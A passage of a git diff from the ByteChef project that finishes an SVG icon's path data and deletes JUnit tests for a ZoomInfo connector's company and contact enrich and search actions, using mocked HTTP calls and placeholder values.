-	C161.006912,187.979523 161.001083,174.702179 161.001083,161.001083 
-	C173.388870,161.001083 185.336426,161.008713 197.283966,160.999435 
-	C220.268387,160.981583 243.252853,160.967728 266.237213,160.920944 
-	C271.861603,160.909500 272.985016,159.799866 272.985077,154.199783 
-	C272.985168,146.875854 272.870941,139.551941 272.422119,131.429840 
-M283.500000,385.001068 
-	C314.967621,385.001068 346.435211,385.007721 377.902832,384.994995 
-	C383.696991,384.992645 384.977112,383.884247 384.985443,378.613312 
-	C385.021240,355.970032 384.954437,333.326447 385.041046,310.683441 
-	C385.057434,306.407135 383.187469,304.632019 379.037018,304.680389 
-	C372.378143,304.758057 365.716034,304.790131 359.058411,304.670135 
-	C354.513733,304.588226 352.910339,306.762604 352.954529,311.117279 
-	C353.081146,323.603149 353.007324,336.091095 352.987427,348.578217 
-	C352.985138,350.003540 352.825134,351.428589 352.729431,352.998932 
-	C350.483124,352.998932 348.662262,352.998932 346.841431,352.998932 
-	C319.369720,352.998932 291.898010,352.993286 264.426300,353.003082 
-	C257.923584,353.005402 257.014374,353.945160 257.001526,360.554901 
-	C256.989563,366.715179 257.074677,372.876801 256.973358,379.035431 
-	C256.903839,383.259064 258.829071,385.095703 263.020538,385.028229 
-	C269.512146,384.923737 276.006714,385.000916 283.500000,385.001068 
-z"/>
-<path fill="#FFFEFE" opacity="1.000000" stroke="none" 
-	d="
-M359.372253,209.001770 
-	C354.662201,209.195480 352.891968,207.092072 352.969818,202.923691 
-	C353.081696,196.933182 352.998413,190.939026 352.998413,183.754959 
-	C293.572937,240.296616 234.824936,296.193665 175.467514,352.670532 
-	C177.586288,352.812469 178.970367,352.983398 180.354721,352.985718 
-	C192.851456,353.006622 205.348236,352.985138 217.844971,353.003479 
-	C224.032028,353.012543 224.979858,353.993744 224.998138,360.317291 
-	C225.015961,366.482330 224.915726,372.649048 225.031952,378.811920 
-	C225.109344,382.915375 223.510742,385.030457 219.196228,385.023682 
-	C191.036926,384.979492 162.877518,384.985687 134.718185,385.017639 
-	C130.740326,385.022156 128.948746,383.178802 128.980484,379.227814 
-	C129.043365,371.397034 128.857056,363.560791 129.108688,355.737579 
-	C129.164062,354.016235 130.212860,351.917053 131.483841,350.703918 
-	C174.493179,309.651276 217.589417,268.689667 260.662598,227.703873 
-	C282.621307,206.809326 304.554443,185.887924 326.524689,165.005524 
-	C327.590942,163.992050 328.903320,163.237549 330.101074,162.362442 
-	C329.884521,161.908951 329.667969,161.455475 329.451416,161.001999 
-	C323.565399,161.001999 317.679199,161.028976 311.793396,160.994202 
-	C306.209930,160.961227 305.039581,159.813583 305.007141,154.303604 
-	C304.968903,147.805511 305.037872,141.306702 304.984833,134.808838 
-	C304.952728,130.876907 306.712494,129.037521 310.730133,129.042953 
-	C333.557037,129.073822 356.384125,129.048737 379.210907,128.973984 
-	C383.187958,128.960968 385.019409,130.717575 385.014404,134.684113 
-	C384.985718,157.511490 384.980591,180.338959 385.018860,203.166306 
-	C385.026031,207.431747 382.967194,209.117401 378.823395,209.034805 
-	C372.494598,208.908630 366.161438,209.001907 359.372253,209.001770 
-z"/>
-<path fill="#FFFEFE" opacity="1.000000" stroke="none" 
-	d="
-M272.614014,131.828918 
-	C272.870941,139.551941 272.985168,146.875854 272.985077,154.199783 
-	C272.985016,159.799866 271.861603,160.909500 266.237213,160.920944 
-	C243.252853,160.967728 220.268387,160.981583 197.283966,160.999435 
-	C185.336426,161.008713 173.388870,161.001083 161.001083,161.001083 
-	C161.001083,174.702179 161.006912,187.979523 160.998718,201.256866 
-	C160.994400,208.244247 160.249619,208.987610 153.290604,208.999100 
-	C147.461105,209.008728 141.627991,208.875046 135.803223,209.041245 
-	C131.229187,209.171738 129.023315,207.368973 129.038223,202.628220 
-	C129.108932,180.143188 129.097229,157.657745 129.046432,135.172592 
-	C129.036407,130.732986 131.050797,128.953522 135.457672,128.960022 
-	C179.262192,129.024658 223.066940,128.969589 266.871155,129.102173 
-	C268.723816,129.107773 270.571899,130.619659 272.614014,131.828918 
-z"/>
-<path fill="#FFFEFE" opacity="1.000000" stroke="none" 
-	d="
-M283.000000,385.001068 
-	C276.006714,385.000916 269.512146,384.923737 263.020538,385.028229 
-	C258.829071,385.095703 256.903839,383.259064 256.973358,379.035431 
-	C257.074677,372.876801 256.989563,366.715179 257.001526,360.554901 
-	C257.014374,353.945160 257.923584,353.005402 264.426300,353.003082 
-	C291.898010,352.993286 319.369720,352.998932 346.841431,352.998932 
-	C348.662262,352.998932 350.483124,352.998932 352.729431,352.998932 
-	C352.825134,351.428589 352.985138,350.003540 352.987427,348.578217 
-	C353.007324,336.091095 353.081146,323.603149 352.954529,311.117279 
-	C352.910339,306.762604 354.513733,304.588226 359.058411,304.670135 
-	C365.716034,304.790131 372.378143,304.758057 379.037018,304.680389 
-	C383.187469,304.632019 385.057434,306.407135 385.041046,310.683441 
-	C384.954437,333.326447 385.021240,355.970032 384.985443,378.613312 
-	C384.977112,383.884247 383.696991,384.992645 377.902832,384.994995 
-	C346.435211,385.007721 314.967621,385.001068 283.000000,385.001068 
-z"/>
-</svg>
\ No newline at end of file
diff --git a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/ZoominfoComponentHandlerTest.java b/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/ZoominfoComponentHandlerTest.java
deleted file mode 100644
index 33c425420d1..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/ZoominfoComponentHandlerTest.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo;
-
-import com.bytechef.test.jsonasssert.JsonFileAssert;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Marija Horvat
- */
-class ZoominfoComponentHandlerTest {
-
-    @Test
-    void testGetComponentDefinition() {
-        JsonFileAssert.assertEquals("definition/zoominfo_v1.json", new ZoominfoComponentHandler().getDefinition());
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichCompanyActionTest.java b/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichCompanyActionTest.java
deleted file mode 100644
index 0ce69ef45e4..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichCompanyActionTest.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_CITY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_COUNTRY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_ID;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_PHONE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_STATE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_STREET;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_WEBSITE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_ZIPCODE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.OUTPUT_FIELDS;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class ZoominfoEnrichCompanyActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Context.Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(COMPANY_ID, 1, COMPANY_NAME, "test", COMPANY_WEBSITE, "http://www.example.com",
-            COMPANY_PHONE, "+123456789", COMPANY_STREET, "Test Street", COMPANY_CITY, "City",
-            COMPANY_STATE, "State", COMPANY_ZIPCODE, "100", COMPANY_COUNTRY, "Country",
-            OUTPUT_FIELDS, List.of("id", "name", "website")));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody())
-            .thenReturn(mockedObject);
-
-        Object result = ZoominfoEnrichCompanyAction.perform(mockedParameters, null, mockedContext);
-
-        assertEquals(mockedObject, result);
-
-        ContextFunction<Http, Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Configuration configuration = configurationBuilder.build();
-        ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/companies/enrich", stringArgumentCaptor.getValue());
-        assertEquals(
-            Body.of(
-                Map.of("data", Map.of("type", "CompanyEnrich",
-                    "attributes", Map.of(
-                        OUTPUT_FIELDS, List.of("id", "name", "website"),
-                        "matchCompanyInput", Map.of(COMPANY_ID, 1, COMPANY_NAME, "test",
-                            COMPANY_WEBSITE, "http://www.example.com", COMPANY_PHONE, "+123456789",
-                            COMPANY_STREET, "Test Street", COMPANY_CITY, "City", COMPANY_STATE, "State",
-                            COMPANY_ZIPCODE, "100", COMPANY_COUNTRY, "Country")))),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichContactActionTest.java b/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichContactActionTest.java
deleted file mode 100644
index fd5698a205e..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoEnrichContactActionTest.java
+++ /dev/null
@@ -1,124 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_ID;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.EMAIL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.EXTERNAL_URL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FIRST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FULL_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.JOB_TITLE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.LAST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.OUTPUT_FIELDS;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PERSON_ID;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PHONE;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class ZoominfoEnrichContactActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Object mockedObject = mock(Object.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.ofEntries(
-            Map.entry(PERSON_ID, 1), Map.entry(FULL_NAME, "test test"), Map.entry(FIRST_NAME, "test"),
-            Map.entry(LAST_NAME, "test"), Map.entry(EMAIL, "http://www.example.com"),
-            Map.entry(PHONE, "+123456789"), Map.entry(JOB_TITLE, "developer"),
-            Map.entry(EXTERNAL_URL, "http://www.url.com"), Map.entry(COMPANY_ID, 2),
-            Map.entry(COMPANY_NAME, "Company"), Map.entry(OUTPUT_FIELDS, List.of("id", "firstName", "email"))));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-
-    @Test
-    void testPerform() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody())
-            .thenReturn(mockedObject);
-
-        Object result = ZoominfoEnrichContactAction.perform(mockedParameters, null, mockedContext);
-
-        assertEquals(mockedObject, result);
-
-        ContextFunction<Http, Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Configuration configuration = configurationBuilder.build();
-        ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/contacts/enrich", stringArgumentCaptor.getValue());
-        assertEquals(
-            Body.of(
-                Map.of("data", Map.of(
-                    "type", "ContactEnrich",
-                    "attributes", Map.of(
-                        OUTPUT_FIELDS, List.of("id", "firstName", "email"),
-                        "matchPersonInput", Map.of(
-                            PERSON_ID, 1, FULL_NAME, "test test", FIRST_NAME, "test",
-                            LAST_NAME, "test", EMAIL, "http://www.example.com", PHONE, "+123456789",
-                            JOB_TITLE, "developer", EXTERNAL_URL, "http://www.url.com", COMPANY_ID, 2,
-                            COMPANY_NAME, "Company")))),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoSearchCompanyActionTest.java b/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoSearchCompanyActionTest.java
deleted file mode 100644
index 40832f78ea1..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoSearchCompanyActionTest.java
+++ /dev/null
@@ -1,129 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.BUSINESS_MODEL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_DESCRIPTION;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_OUTPUT_PROPERTY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_TYPE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COUNTRY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_NUMBER;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_SIZE;
-import static org.junit.jupiter.api.Assertions.assertArrayEquals;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class ZoominfoSearchCompanyActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(
-            COMPANY_NAME, "test", COMPANY_DESCRIPTION, "This is a description.", COMPANY_TYPE, "public",
-            BUSINESS_MODEL, "B2C", COUNTRY, "Country"));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-    private final ArgumentCaptor<Object[]> objectsArgumentCaptor = forClass(Object[].class);
-
-    @Test
-    void testPerform() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameters(objectsArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", List.of(COMPANY_OUTPUT_PROPERTY), "meta", Map.of("totalResults", 1)));
-
-        Object result = ZoominfoSearchCompanyAction.perform(mockedParameters, null, mockedContext);
-
-        assertEquals(List.of(COMPANY_OUTPUT_PROPERTY), result);
-
-        ContextFunction<Http, Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Configuration configuration = configurationBuilder.build();
-        ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/companies/search", stringArgumentCaptor.getValue());
-        assertEquals(
-            Body.of(
-                Map.of("data", Map.of("type", "CompanySearch",
-                    "attributes", Map.of(
-                        COMPANY_NAME, "test", COMPANY_DESCRIPTION, "This is a description.",
-                        COMPANY_TYPE, "public", BUSINESS_MODEL, "B2C", COUNTRY, "Country"))),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-
-        List<Object[]> allQueryParams = objectsArgumentCaptor.getAllValues();
-
-        assertEquals(1, allQueryParams.size());
-
-        Object[] queryParameters1 = {
-            PAGE_SIZE, 25,
-            PAGE_NUMBER, 1
-        };
-
-        assertArrayEquals(queryParameters1, allQueryParams.getFirst());
-    }
-}
diff --git a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoSearchContactActionTest.java b/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoSearchContactActionTest.java
deleted file mode 100644
index 82c50f85680..00000000000
--- a/server/libs/modules/components/zoominfo/src/test/java/com/bytechef/component/zoominfo/action/ZoominfoSearchContactActionTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.zoominfo.action;
-
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.COMPANY_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.CONTACT_OUTPUT_PROPERTY;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.DEPARTMENT;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.EMAIL;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FIRST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.FULL_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.JOB_TITLE;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.LAST_NAME;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_NUMBER;
-import static com.bytechef.component.zoominfo.constant.ZoominfoConstants.PAGE_SIZE;
-import static org.junit.jupiter.api.Assertions.assertArrayEquals;
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.ArgumentMatchers.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Body;
-import com.bytechef.component.definition.Context.Http.Configuration;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import com.bytechef.component.definition.Context.Http.ResponseType;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.definition.TypeReference;
-import com.bytechef.component.test.definition.MockParametersFactory;
-import java.util.List;
-import java.util.Map;
-import org.junit.jupiter.api.Test;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Marija Horvat
- */
-class ZoominfoSearchContactActionTest {
-
-    private final ArgumentCaptor<Body> bodyArgumentCaptor = forClass(Body.class);
-    private final ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor =
-        forClass(ConfigurationBuilder.class);
-    @SuppressWarnings("unchecked")
-    private final ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor =
-        forClass(ContextFunction.class);
-    private final Context mockedContext = mock(Context.class);
-    private final Executor mockedExecutor = mock(Executor.class);
-    private final Http mockedHttp = mock(Http.class);
-    private final Response mockedResponse = mock(Response.class);
-    private final Parameters mockedParameters = MockParametersFactory.create(
-        Map.of(
-            EMAIL, "http://www.example.com", FULL_NAME, "Test Test", FIRST_NAME, "Test", LAST_NAME, "Test",
-            JOB_TITLE, "developer", DEPARTMENT, "IT", COMPANY_NAME, "Company"));
-    private final ArgumentCaptor<String> stringArgumentCaptor = forClass(String.class);
-    private final ArgumentCaptor<Object[]> objectsArgumentCaptor = forClass(Object[].class);
-
-    @Test
-    void testPerform() {
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedHttp.post(stringArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.queryParameters(objectsArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.body(bodyArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-        when(mockedResponse.getBody(any(TypeReference.class)))
-            .thenReturn(Map.of("data", List.of(CONTACT_OUTPUT_PROPERTY), "meta", Map.of("totalResults", 1)));
-
-        Object result = ZoominfoSearchContactAction.perform(mockedParameters, null, mockedContext);
-
-        assertEquals(List.of(CONTACT_OUTPUT_PROPERTY), result);
-
-        ContextFunction<Http, Executor> capturedFunction = httpFunctionArgumentCaptor.getValue();
-
-        assertNotNull(capturedFunction);
-
-        ConfigurationBuilder configurationBuilder = configurationBuilderArgumentCaptor.getValue();
-        Configuration configuration = configurationBuilder.build();
-        ResponseType responseType = configuration.getResponseType();
-
-        assertEquals(ResponseType.Type.JSON, responseType.getType());
-        assertEquals("/contacts/search", stringArgumentCaptor.getValue());
-        assertEquals(
-            Body.of(
-                Map.of("data", Map.of("type", "ContactSearch",
-                    "attributes", Map.of(
-                        EMAIL, "http://www.example.com", FULL_NAME, "Test Test",
-                        FIRST_NAME, "Test", LAST_NAME, "Test", JOB_TITLE, "developer", DEPARTMENT, "IT",
-                        COMPANY_NAME, "Company"))),
-                Http.BodyContentType.JSON),
-            bodyArgumentCaptor.getValue());
-
-        List<Object[]> allQueryParams = objectsArgumentCaptor.getAllValues();
-
-        assertEquals(1, allQueryParams.size());
-
-        Object[] queryParameters1 = {
